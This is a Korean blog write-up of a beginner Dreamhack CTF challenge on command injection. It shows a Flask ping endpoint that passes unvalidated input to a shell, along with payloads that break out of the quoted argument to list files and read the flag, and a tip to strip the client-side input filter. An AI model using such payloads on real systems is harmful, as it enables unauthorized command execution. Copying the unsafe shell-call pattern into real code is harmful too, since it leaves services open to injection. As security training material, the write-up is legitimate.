CTF & Wargame(WEB)

[dreamhack] beginner command-injection-1

KWAKBUMJUN 2025. 4. 14. 03:10

코드 분석

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')

우리가 주의깊게 봐야할 코드는 /ping 페이지의 소스코드이다.

해당 코드에서는 host 변수에 사용자 입력값을 저장하고

ping -c 명령을 실행한다.

 

위의 코드에서는 사용자에게 host라는 입력을 받고 있는데, 해당 입력을 어떠한 검증도 없이 바로 ping 명령어에 쓰기 때문에 우리가 악의적인 명령어를 넣어서 공격을 진행할 수 있을 것이다.

 

우리는 command_injection을 발생시키는 것이 목표이기 때문에 ping -c 3 "{host}"해당 명령에 flag를 찾을 수 있도록 하는 명령어를 넣을 것이다.

 

익스플로잇

8.8.8.8"; ls # 페이로드를 host에 삽입해주면 위와 같이 현재 파일 리스트를 볼 수 있다. 그리고 주의해야할것은 입력란의 필터링은 개발자 도구에서 삭제 해줘야한다(patterns)

 

현재 위치에 flag.py가 있기 때문에 cat flag.py를 이용하여 해당 파일을 읽으면 flag를 획득할 수 있을 것이다.

8.8.8.8"; cat flag.py #

위의 페이로드를 삽입해주면 이렇게 flag를 획득할 수 있다.